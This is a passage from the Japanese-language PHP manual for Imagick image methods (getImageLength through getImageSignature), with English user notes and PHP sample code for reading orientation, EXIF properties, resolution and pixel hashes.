        //    (Detect Animated Image Versus Non-Animated Image)
        // ---------------------------------------------

    $image_iterations = $imagick_type->getImageIterations();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    if($image_iterations == 1)
    {
        print("$file_to_grab *IS* an animated image.");
    }
    else
    {
        print("$file_to_grab *IS NOT* an animated image.");
    }

?>


画像の長さをバイト数で取得する

  • ≪ Imagick::getImageIterations
  • Imagick::getImageMatte ≫
  • PHP Manual
  • Imagick
  • 画像の長さをバイト数で取得する

Imagick::getImageLength

(PECL imagick 2, PECL imagick 3)

Imagick::getImageLength — 画像の長さをバイト数で取得する

説明

public Imagick::getImageLength ( ) : int

画像の長さをバイト数で返します。

返り値

現在の画像のサイズを整数値で返します。

例

例1 Imagick::getImageLength() の使用法

画像の長さをバイト数で取得します。

<?php
$image = new Imagick('test.jpg');
echo $image->getImageLength() . ' bytes';
?>

User Contributed Notes

There are no user contributed notes for this page.


画像がマットチャネルを持っているかどうかを返す

  • ≪ Imagick::getImageLength
  • Imagick::getImageMatteColor ≫
  • PHP Manual
  • Imagick
  • 画像がマットチャネルを持っているかどうかを返す

Imagick::getImageMatte

(PECL imagick 2, PECL imagick 3)

Imagick::getImageMatte — 画像がマットチャネルを持っているかどうかを返す

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageMatte ( ) : bool

画像がマットチャネルを持っている場合に true、 そうでない場合に false を返します。 このメソッドは、ImageMagick バージョン 6.2.9 以降で Imagick をコンパイルした場合に使用可能です。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像のマット色を返す

  • ≪ Imagick::getImageMatte
  • Imagick::getImageMimeType ≫
  • PHP Manual
  • Imagick
  • 画像のマット色を返す

Imagick::getImageMatteColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageMatteColor — 画像のマット色を返す

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageMatteColor ( ) : ImagickPixel

画像のマット色を返します。

返り値

成功した場合に ImagickPixel オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ≪ Imagick::getImageMatteColor
  • Imagick::getImageOrientation ≫
  • PHP Manual
  • Imagick
  • Description

Imagick::getImageMimeType

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageMimeType — Description

説明

public Imagick::getImageMimeType ( ) : string

Returns the image mime-type.

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


画像の方向を取得する

  • ≪ Imagick::getImageMimeType
  • Imagick::getImagePage ≫
  • PHP Manual
  • Imagick
  • 画像の方向を取得する

Imagick::getImageOrientation

(PECL imagick 2, PECL imagick 3)

Imagick::getImageOrientation — 画像の方向を取得する

説明

public Imagick::getImageOrientation ( ) : int

画像の方向を取得します。返り値は 方向定数 のいずれかとなります。

返り値

成功した場合に整数値を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

orrd101 at yahoo dot com 20-Feb-2013 09:23
Here's how you can use the getImageOrientation() information to auto-rotate images to their correct orientation...

<?php
// Note: $image is an Imagick object, not a filename! See example use below.
function autoRotateImage($image) {
    $orientation = $image->getImageOrientation();

    switch($orientation) {
        case imagick::ORIENTATION_BOTTOMRIGHT:
            $image->rotateimage("#000", 180); // rotate 180 degrees
        break;

        case imagick::ORIENTATION_RIGHTTOP:
            $image->rotateimage("#000", 90); // rotate 90 degrees CW
        break;

        case imagick::ORIENTATION_LEFTBOTTOM:
            $image->rotateimage("#000", -90); // rotate 90 degrees CCW
        break;
    }

    // Now that it's auto-rotated, make sure the EXIF data is correct in case the EXIF gets saved with the image!
    $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);
}
?>

Example use:

<?php
$image = new Imagick('my-image-file.jpg');
autoRotateImage($image);
// - Do other stuff to the image here -
$image->writeImage('result-image.jpg');
?>
holdoffhunger at gmail dot com 01-Jul-2012 02:54
Using the getImageOrientation function, you'll get the Orientation value for an image as defined within the EXIF file format.  That means you will get back an integer representation one of the Orientation constants for ImageMagick, which looks like " imagick::ORIENTATION_UNDEFINED", with "_VALUE" values of: undefined (0), topleft (1), topright (2), bottomright (3), bottomleft (4), lefttop (5), righttop (6), rightbottom (7), and leftbottom (8).  When printed out directly, these predefined constants produce the number in parenthesis.  The undefined being set to 0 makes sense, since -- according to Wikipedia -- EXIF allows for eight possible values for an image (and not every image has a set of EXIF properties).

The EXIF Orientation is also called "the Rotation," again, according to Wikipedia: http://en.wikipedia.org/wiki/Exchangeable_image_file_format .  What's the point of that?  According to the official ImageMagick documentation, it's to rotate a photograph so that it is properly oriented after the shot.  This really seems to be a camera thing, since the ImageMagick documentation mentions: "If you pointed your camera almost straight up or down, the EXIF orientation setting may not resolve correctly. The same goes for angled or slanted shots. The orientation (and cameras) just have no senses for these situations." ( http://www.imagemagick.org/Usage/photos/ )

If you're having trouble getting this function to show the value for Image Orientation, then use the function and parameters of getImageProperties('*', FALSE); .  This produces an array of all properties associated with an image, and one of them will have the key value of exif:Orientation.  If it doesn't, then that means you will be getting back a zero from this function, indicating an "Undefined" orientation.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Orientation Values
        // ---------------------------------------------

    $imagick_orientation = $imagick_type->getImageOrientation();

    switch($imagick_orientation)
    {
        case '0':
            $imagick_orientation_evaluated = "Undefined";
            break;

        case '1':
            $imagick_orientation_evaluated = "Top-Left";
            break;

        case '2':
            $imagick_orientation_evaluated = "Top-Right";
            break;

        case '3':
            $imagick_orientation_evaluated = "Bottom-Right";
            break;

        case '4':
            $imagick_orientation_evaluated = "Bottom-Left";
            break;

        case '5':
            $imagick_orientation_evaluated = "Left-Top";
            break;

        case '6':
            $imagick_orientation_evaluated = "Right-Top";
            break;

        case '7':
            $imagick_orientation_evaluated = "Right-Bottom";
            break;

        case '8':
            $imagick_orientation_evaluated = "Left-Bottom";
            break;
    }

        // Print Orientation Values
        // ---------------------------------------------

    print("# $imagick_orientation - $imagick_orientation_evaluated");

?>


ページのジオメトリを返す

  • ≪ Imagick::getImageOrientation
  • Imagick::getImagePixelColor ≫
  • PHP Manual
  • Imagick
  • ページのジオメトリを返す

Imagick::getImagePage

(PECL imagick 2, PECL imagick 3)

Imagick::getImagePage — ページのジオメトリを返す

説明

public Imagick::getImagePage ( ) : array

画像のページジオメトリを配列で返します。配列のキーは "width"、"height"、"x" および "y" です。

返り値

画像のページジオメトリを配列で返します。配列のキーは "width"、"height"、"x" および "y" です。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 28-May-2012 10:53
The PHP function 'getImagePage' will return values indicating the height and width of an image, just like the getHeight and getWidth, except these values are returned as an array.  There's also two other values returned in the array with the key values of 'x' and 'y'.  After running this function on animated .Gif's, super-compressed jpeg's, bmp's, png's, and every type of awkward file format you could think of, I kept getting back the result of '0' for both the 'x' and 'y' associated values in the returned array.  It's likely that these indicate the "start-positions" of the width and height, compared to the "end-values" you receive for accessing the values associated with the keys 'width' and 'height'.

Oddly enough, the PHP function 'getPage' will return an array with the same exact keys, except the values all default to '0', making it much less useful than the function 'getImagePage'.

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Page
        // ---------------------------------------------

    $image_page = $imagick_type->getImagePage();

        // Print Iteration Value Interpreted
        // ---------------------------------------------

    print_r($image_page);

?>

Expected Result :

Array
(
    [width] => 600
    [height] => 450
    [x] => 0
    [y] => 0
)


指定したピクセルの色を返す

  • ≪ Imagick::getImagePage
  • Imagick::getImageProfile ≫
  • PHP Manual
  • Imagick
  • 指定したピクセルの色を返す

Imagick::getImagePixelColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImagePixelColor — 指定したピクセルの色を返す

説明

public Imagick::getImagePixelColor ( int $x , int $y ) : ImagickPixel

指定したピクセルの色を返します。

パラメータ

x

ピクセルの x 座標。

y

ピクセルの y 座標。

返り値

指定した座標の色を表す ImagickPixel のインスタンスを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

sheldon at hyperlinked dot com 18-Jul-2012 11:57
I'm sure there are a lot of people like me who have been wondering, "How you manage to produce a human readable output of this operation?"

<?php
$image = new Imagick('testimage.jpg');

$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
?>

If you try to print an output of the $pixel object, you get nothing. You have to use one of the ImagickPixel operations to get back a value.

You can do either of the following:

<?php
$colors = $pixel->getColor();
print_r($colors); // produces Array([r]=>255,[g]=>255,[b]=>255,[a]=>1);

$pixel->getColorAsString(); // produces rgb(255,255,255);
?>

The place where I was getting hung up was how to get the data that was captured in the Imagick::getImagePixelColor operation into an ImagickPixel object. I was trying to find ways of passing the value to a newly instantiated ImagickPixel object. Well, it appears that once you've captured your color data using Imagick::getImagePixelColor, what's returned IS an ImagickPixel object!

As a further note, you do not need to convert this to a human readable format if you just want to take a color sample at a single point on your image to plug into another operation.

For example, if you wanted to perform a flood fill effect on a certain color you could plug in the instance of the ImagickPixel object directly.

The following fill perform a flood fill effect at coordinates 1,1 on your image using Green as the fill color and the color sampled at 1,1 as the target color to fill.

<?php
$hexcolor = '#00ff00';
$fuzz = '4000';
$x = 1;
$y = 1;
$pixel = $image->getImagePixelColor($x, $y);
$image->floodfillPaintImage($hexcolor, $fuzz, $pixel, $x, $y, false);
?>


指定した名前の画像プロファイルを返す

  • ≪ Imagick::getImagePixelColor
  • Imagick::getImageProfiles ≫
  • PHP Manual
  • Imagick
  • 指定した名前の画像プロファイルを返す

Imagick::getImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProfile — 指定した名前の画像プロファイルを返す

説明

public Imagick::getImageProfile ( string $name ) : string

指定した名前の画像プロファイルを返します。

パラメータ

name

返したいプロファイルの名前。

返り値

画像プロファイルを含む文字列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像プロファイルを返す

  • ≪ Imagick::getImageProfile
  • Imagick::getImageProperties ≫
  • PHP Manual
  • Imagick
  • 画像プロファイルを返す

Imagick::getImageProfiles

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProfiles — 画像プロファイルを返す

説明

public Imagick::getImageProfiles ( string $pattern = "*" , bool $include_values = true ) : array

関連付けられているプロファイルのうち、パターンにマッチするものをすべて返します。 二番目の引数を false にすると、プロファイルの名前だけを返します。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

pattern

プロファイル名のパターン。

include_values

プロファイル名のみを返すかどうか。false の場合は、プロファイル名のみを返します。

返り値

画像のプロファイルあるいはプロファイル名を含む連想配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像のプロパティを返す

  • ≪ Imagick::getImageProfiles
  • Imagick::getImageProperty ≫
  • PHP Manual
  • Imagick
  • 画像のプロパティを返す

Imagick::getImageProperties

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProperties — 画像のプロパティを返す

説明

public Imagick::getImageProperties ( string $pattern = "*" , bool $include_values = true ) : array

関連付けられているプロパティのうち、パターンにマッチするものをすべて返します。 二番目の引数を false にすると、プロパティの名前だけを返します。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

pattern

プロパティ名のパターン。

include_values

プロパティ名のみを返すかどうか。false の場合は、プロファイル名のみを返します。

返り値

画像のプロパティあるいはプロパティ名を含む連想配列を返します。

例

例1 Imagick::getImageProperties() の使用法

EXIF 情報を抽出します。

<?php

/* オブジェクトを作成します */
$im = new imagick("/path/to/example.jpg");

/* EXIF 情報を取得します */
$exifArray = $im->getImageProperties("exif:*");

/* EXIF のプロパティをループします */
foreach ($exifArray as $name => $property)
{
    echo "{$name} => {$property}<br />\n";
}

?>

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 06:40
The output of this method on a PDF:

Array
        (
            [date:create] => 2013-01-24T13:27:37-05:00
            [date:modify] => 2013-01-24T13:27:37-05:00
            [pdf:HiResBoundingBox] => 1089x396+0+0
            [pdf:SpotColor-0] => PANTONE 697 C
            [pdf:SpotColor-1] => Black
            [pdf:SpotColor-10] => PANTONE 504 M C
            [pdf:SpotColor-2] => Strike_Thru
            [pdf:SpotColor-3] => PANTONE 7421 C
            [pdf:SpotColor-4] => PANTONE 697 C
            [pdf:SpotColor-5] => PANTONE 873 C
            [pdf:SpotColor-6] => PANTONE 504 M C
            [pdf:SpotColor-7] => Die
            [pdf:SpotColor-8] => PANTONE 697 C
            [pdf:SpotColor-9] => PANTONE 504 M C
            [pdf:Version] => PDF-1.5
            [signature] => 4d871b27b26537c523326f92454ecb2e19fa9e0e86e2a075f97354ad4f3bf122
        )
holdoffhunger at gmail dot com 19-May-2012 11:29
The getImageProperties function in PHP returns an array of property keys available for an image.  To get these property values, you use getImageProperty function, giving it one of the available keys provided by the getImageProperties function result.  For some images, you may have a lot of properties and for some, you may have few.  The two that almost every image seems to have are "date:create" and "date:modify", but some images may have forty or more properties, some titled "exif:Compression", "photoshop:Credit", "jpeg:colorspace", "rdf:Alt", "stRef:documentID", and "xap:CreatorTool."  PNG files will also have properties like "png:IHDR.bit_depth" and "png:IHDR.width,height."  So far, it appears generally that GIF and BMP files, being simpler, have fewer properties, whereas JPEG and PNG files, being more complicated, have much wider array of properties.  It seems incredibly useful in document management.

And now, some sample code and results :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.png";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Properties
        // ---------------------------------------------

    $imagick_type_properties = $imagick_type->getImageProperties('*', FALSE);

        // Print Image Properties
        // ---------------------------------------------

    print("<pre>");

    print_r($imagick_type_properties);

        // Print Each Individual, Image Property
        // ---------------------------------------------

    foreach($imagick_type_properties as $value)
    {
        print("$value --- ");
        print($imagick_type->getImageProperty("$value"));
        print("<br><br>");
    }

    print("</pre>");

?>

Results of this done on a standard PNG image :

Array
(
    [0] => date:create
    [1] => date:modify
    [2] => png:cHRM
    [3] => png:gAMA
    [4] => png:IHDR.bit_depth
    [5] => png:IHDR.color_type
    [6] => png:IHDR.interlace_method
    [7] => png:IHDR.width,height
    [8] => png:sRGB
)
date:create --- 2012-05-19T18:26:45-05:00

date:modify --- 2012-05-19T18:26:45-05:00

png:cHRM                  --- chunk was found (see Chromaticity, above)

png:gAMA                  --- gamma=0.45455 (See Gamma, above)

png:IHDR.bit_depth        --- 8

png:IHDR.color_type       --- 2

png:IHDR.interlace_method --- 0

png:IHDR.width,height     --- 320, 320

png:sRGB                  --- intent=0 (See Rendering intent)
www dot query at gmail dot com 08-Sep-2011 11:58
To access a photograph's EXIF data an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php
mhufford 03-Aug-2009 02:03
ImageMagick only supports setting a very small number of EXIF properties.

See http://www.imagemagick.org/discourse-server/viewtopic.php?t=14234


指定した名前の画像のプロパティを返す

  • ≪ Imagick::getImageProperties
  • Imagick::getImageRedPrimary ≫
  • PHP Manual
  • Imagick
  • 指定した名前の画像のプロパティを返す

Imagick::getImageProperty

(PECL imagick 2, PECL imagick 3)

Imagick::getImageProperty — 指定した名前の画像のプロパティを返す

説明

public Imagick::getImageProperty ( string $name ) : string

指定した名前の画像プロパティを返します。 このメソッドは、ImageMagick バージョン 6.3.2 以降で Imagick をコンパイルした場合に使用可能です。

パラメータ

name

プロパティの名前 (たとえば Exif:DateTime)。

例

例1 Imagick::getImageProperty() の使用法

画像のプロパティを設定し、そして取得します。

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

参考

  • Imagick::setImageProperty() - 画像のプロパティを設定する

返り値

画像のプロパティを含む文字列を返します。 指定した名前のプロパティが存在しない場合に false を返します。

User Contributed Notes

Paul Janik 08-Sep-2011 12:00
To access a photograph's EXIF data, an alternative method is the normal PHP Exif function.

<?php

        $exif_data = exif_read_data($pic1);
        $edate = $exif_data['DateTime'];

?>

See: http://php.net/manual/en/book.exif.php


赤が一番強い点を返す

  • ≪ Imagick::getImageProperty
  • Imagick::getImageRegion ≫
  • PHP Manual
  • Imagick
  • 赤が一番強い点を返す

Imagick::getImageRedPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRedPrimary — 赤が一番強い点を返す

説明

public Imagick::getImageRedPrimary ( ) : array

赤が一番強い点を返します。"x" および "y" というキーを持つ配列を返します。

返り値

赤が一番強い点を "x" および "y" というキーを持つ配列で返します。 エラー時に ImagickException をスローします。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の一部を抽出する

  • ≪ Imagick::getImageRedPrimary
  • Imagick::getImageRenderingIntent ≫
  • PHP Manual
  • Imagick
  • 画像の一部を抽出する

Imagick::getImageRegion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRegion — 画像の一部を抽出する

説明

public Imagick::getImageRegion ( int $width , int $height , int $x , int $y ) : Imagick

画像の一部を抽出し、新しい Imagick オブジェクトとして返します。

パラメータ

width

抽出する範囲の幅。

height

抽出する範囲の高さ。

x

抽出する範囲の左上の X 座標。

y

抽出する範囲の左上の Y 座標。

返り値

画像の一部を抽出し、新しい wand として返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

zolcos at hotmail dot com 22-Jul-2009 02:45
getImageRegion has the same side effect that was mentioned for operations that change the crop of the image -- the new image preserves the old canvas and positioning info. For example, using annotateImage on the new image will interpret the positioning arguments relative to the old image. To correct it, reset this info with setImagePage.

<?php
$im->setImagePage(0, 0, 0, 0);
?>


画像のレンダリング方向を取得する

  • ≪ Imagick::getImageRegion
  • Imagick::getImageResolution ≫
  • PHP Manual
  • Imagick
  • 画像のレンダリング方向を取得する

Imagick::getImageRenderingIntent

(PECL imagick 2, PECL imagick 3)

Imagick::getImageRenderingIntent — 画像のレンダリング方向を取得する

説明

public Imagick::getImageRenderingIntent ( ) : int

画像のレンダリング方向を取得します。

返り値

画像の レンダリング方向 を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 02-Jul-2012 06:19
The Rendering Intent variable exists in ImageMagick to provide support for ICC Color Profiles.  There are five results that one can expect to get from the getRenderingIntent function, which are the predefined constants for Rendering Intent within ImageMagick.  These values look like "imagick::RENDERINGINTENT_UNDEFINED", with "_VALUE" values of: undefined, saturation, perceptual, absolute, and relative.  Printed out, Undefined is 0, Saturation is 1, Perceptual is 2, Absolute is 3, and Relative is 4.

The official ImageMagick documentation provides good light on what these values indicate. ( http://www.imagemagick.org/RMagick/doc/constants.html#RenderingIntent )  Undefined means "no intent," Saturation means "A rendering intent that specifies the saturation of the pixels in the image is preserved perhaps at the expense of accuracy in hue and lightness," Perceptual Intent means "A rendering intent that specifies the full gamut of the image is compressed or expanded to fill the gamut of the destination device. Gray balance is preserved but colorimetric accuracy might not be preserved," Absolute Intent means "Absolute colorimetric," and Relative Intent means "Relative colorimetric."

Every time I ran this function, it always produced the same result: #2, indicating Perceptual Intent.  But this makes sense, since the ImageMagick documentation notes about the Rendering Intent, "Typically, the user or application will set the rendering intent dynamically at runtime or embedding time."  The ImageMagick documentation also recommended the following link to better understand Rendering Intent in terms of Colorspace Profiles: http://www.cambridgeincolour.com/tutorials/color-space-conversion.htm .

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


画像の X 方向と Y 方向の解像度を取得する

  • ≪ Imagick::getImageRenderingIntent
  • Imagick::getImagesBlob ≫
  • PHP Manual
  • Imagick
  • 画像の X 方向と Y 方向の解像度を取得する

Imagick::getImageResolution

(PECL imagick 2, PECL imagick 3)

Imagick::getImageResolution — 画像の X 方向と Y 方向の解像度を取得する

説明

public Imagick::getImageResolution ( ) : array

X 方向および Y 方向の解像度を取得します。

返り値

解像度を配列で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

christian at cvj dot se 20-Feb-2014 11:48
For me getImageResolution() always returns X and Y resolution in pixels per centimeter, no matter if I set it with setImageUnits() or not.

So an easy way to convert the result from pixels per centimeter to pixels per inch is to do this:

<?php
$resource = new Imagick($path);
$imageResolution = $resource->getImageResolution();

if (!empty($imageResolution['y'])) {
$imageResolution['y'] =
                            round($imageResolution['y'] * 2.54, 2);
}

if (!empty($imageResolution['x'])) {
$imageResolution['x'] =
                            round($imageResolution['x'] * 2.54, 2);
}

?>
Alex 27-Sep-2013 10:00
Here is simple code snippet to get image DPI:
<?php
$img = new imagick( 'file.jpg' );
print_r($img->getImageResolution()); // Array ( [x] => 72 [y] => 72 )

?>
Simon Epskamp 20-Sep-2013 08:30
Please note that this method seems to return the image density, or DPI, not it's output resolution. If you want the output resolution, please refer to Imagick::getImageGeometry: http://www.php.net/manual/en/imagick.getimagegeometry.php

See http://www.imagemagick.org/Usage/basics/#density for more infomation on the difference.
Shawn Pyle 18-Apr-2011 12:53
As of the following versions, the results of this function returns the x and y resolution as floats.

desktop:~$ convert --version
Version: ImageMagick 6.6.9-1 2011-04-14 Q8 http://www.imagemagick.org
Copyright: Copyright (C) 1999-2011 ImageMagick Studio LLC
Features: OpenMP OpenCL

desktop:~$ pecl list
Installed packages, channel pecl.php.net:
==========================
Package Version State
imagick 3.0.1   stable

desktop:~$ php --version
PHP 5.3.5 (cli) (built: Mar  1 2011 12:57:53)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
    with Xdebug v2.1.0, Copyright (c) 2002-2010, by Derick Rethans
perching_eagle at yahoo dot com 04-Oct-2007 06:14
//location of image: c:/htdocs/rose.jpg
$path="c:/htdocs/";
$image=new Imagick($path."rose.jpg");
$array=$image->getImageResolution();
print_r($array);

result:
Array
(
    [x]=>75
    [y]=>75
)


すべての画像シーケンスを blob で返す

  • ≪ Imagick::getImageResolution
  • Imagick::getImageScene ≫
  • PHP Manual
  • Imagick
  • すべての画像シーケンスを blob で返す

Imagick::getImagesBlob

(PECL imagick 2, PECL imagick 3)

Imagick::getImagesBlob — すべての画像シーケンスを blob で返す

説明

public Imagick::getImagesBlob ( ) : string

メモリ上の画像フォーマットを直接操作します。 すべての画像シーケンスを文字列として返します。 画像のフォーマット (GIF, JPEG, PNG など) に応じて返される blob の形式も異なります。 別の画像フォーマットで返すには Imagick::setImageFormat() を使用します。

返り値

画像を文字列で返します。失敗した場合は ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のシーンを取得する

  • ≪ Imagick::getImagesBlob
  • Imagick::getImageSignature ≫
  • PHP Manual
  • Imagick
  • 画像のシーンを取得する

Imagick::getImageScene

(PECL imagick 2, PECL imagick 3)

Imagick::getImageScene — 画像のシーンを取得する

説明

public Imagick::getImageScene ( ) : int

画像のシーンを取得します。

返り値

画像のシーンを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


SHA-256 メッセージダイジェストを生成する

  • ≪ Imagick::getImageScene
  • Imagick::getImageSize ≫
  • PHP Manual
  • Imagick
  • SHA-256 メッセージダイジェストを生成する

Imagick::getImageSignature

(PECL imagick 2, PECL imagick 3)

Imagick::getImageSignature — SHA-256 メッセージダイジェストを生成する

説明

public Imagick::getImageSignature ( ) : string

画像ピクセルストリームの SHA-256 メッセージダイジェストを生成します。

返り値

そのファイルの SHA-256 ハッシュを文字列で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

barrerasalom at gmail dot com 15-Oct-2013 02:15
Please take that note tha different versions of ImageMagick could create different signatures, even when working with the same image.
vojtech at kral dot hk 27-Mar-2013 12:39
Well the SHA-2 digest returned by this function IS different from what you get when you hash the file, because this funtions hashesh the pixels themselves.

This is very useful when you need to identify identical images, because if you just hash the files, you may get different hashes even if the image is the same pixel by pixel because of differences in metadata or different format (ie PNG vs BMP) or perhaps stray bytes at the end of file etc...

There is no point in posting code that hashes files, that is completely irrelevant here.

Also, I doubt you really need to pick a different hashing algo, SHA-2 should be perfectly fine for this job.
holdoffhunger at gmail dot com 26-Jun-2012 11:51
The getImageSignature function for the ImageMagick package in PHP returns only the SHA-1 hash value for an image.  There are not any other algorithms available for it within the ImageMagick package, but fortunately, this is PHP and you have a wide array of hashing algorithms to use on any image file.  The function hash_algos() will return an array of hashing algorithms available in PHP and the function hash_file() will take three parameters (one for the algorithm to use, one for the filename, and an optional variable for binary output).  Instead of being limited to the SHA-1 algorithm of the getImageSignature function, you could use SHA-256, SHA-384, SHA-512, Whirlpool, HAVAL, Salsa, Gost, Adler32, CRC32, or MD5, among others and variations of these.

However, the SHA-1 result of the hash_file() function performed on a file does not return the same result as the SHA-1 of the getImageSignature() function.  This leads me to believe that the SHA-1 of the getImageSignature() might be performed on the Imagick object itself, instead of the file, whereas the hash_file() function is clearly performed on the file itself.  That's just a guess, though.

Some sample code for the alternate hashing algorithm, with every algorithm performed on the image file :

<?php

            // Author: holdoffhunger@gmail.com

        // Set File for Hashing Function
        // ---------------------------------------------------

    $filename_with_folder_for_hashing = "image_workshop/test_file.bmp";

        // Acquire Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $php_dynamic_hash_algorithms = hash_algos();

        // Count Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    $number_of_dynamic_hash_algorithms = count($php_dynamic_hash_algorithms);

        // Parse Dynamic Hashing Algorithm List
        // ---------------------------------------------------

    for($i = 0; $i < $number_of_dynamic_hash_algorithms; $i++)
    {
            // Get Current Hashing Algorithm
            // ---------------------------------------------------

        $current_hashing_algorithm = $php_dynamic_hash_algorithms[$i];

            // Perform Hashing on File
            // ---------------------------------------------------

        $current_hashing_algorithm_hex_result = hash_file($current_hashing_algorithm, $filename_with_folder_for_hashing, FALSE);

            // Print Hashed Results
            // ---------------------------------------------------

        print("$current_hashing_algorithm Algorithm ::: $current_hashing_algorithm_hex_result");
        print("<br><br>");
    }

?>

    Example Results:
    ...........................

md2 Algorithm ::: 03205df9c6717d74f1f003c66f58e98a

md4 Algorithm ::: b2a204a2e5c3968d2abd5dc372fbee10

md5 Algorithm ::: b9d92a61714b221d24c7730d4764ca82

sha1 Algorithm ::: 8db4c92346c26568b13ea43fbcf514e37942a41a

(and so on for 34 more algorithms)...
holdoffhunger at gmail dot com 20-May-2012 10:30
The getImageSignature function returns the SHA-256 hash value, which is 256 bits (or 32 bytes) in length.  SHA-256 is part of the SHA-2 set of cryptographic hash functions designed by the NSA, which also includes SHA-224, SHA-384, and SHA-512.  According to Wikipedia, there are some security flaws in it similar to the set of SHA-1 hash functions, which should be fixed with SHA-3, eventually.  Unlike MD5 or the SHA-1 set of cryptographic functions, SHA-2 has had no collisions discovered yet (a collision is an incident where two different pieces of data result in the same hash value from the hashing function).  For the time being, it seems to be the most efficient method for creating a small (32-byte), uniquely-identifiable, generally-secure value for either a file or a piece of data.

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.bmp";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image SHA-256 Signature / Hash Value
        // ---------------------------------------------

    $imagick_type_signature = $imagick_type->getImageSignature();

        // Print Image Signature / Hash Value
        // ---------------------------------------------

    print($imagick_type_signature);

?>

Results of this done on a standard BMP image :

cb2f387a7b23d11340ad1f5ba9c765125ea6b2d50a0d25412abe1ce568adac68


画像の長さをバイト数で返す

  • ≪ Imagick::getImageSignature
  • Imagick::getImageTicksPerSecond ≫
  • PHP Manual
  • Imagick
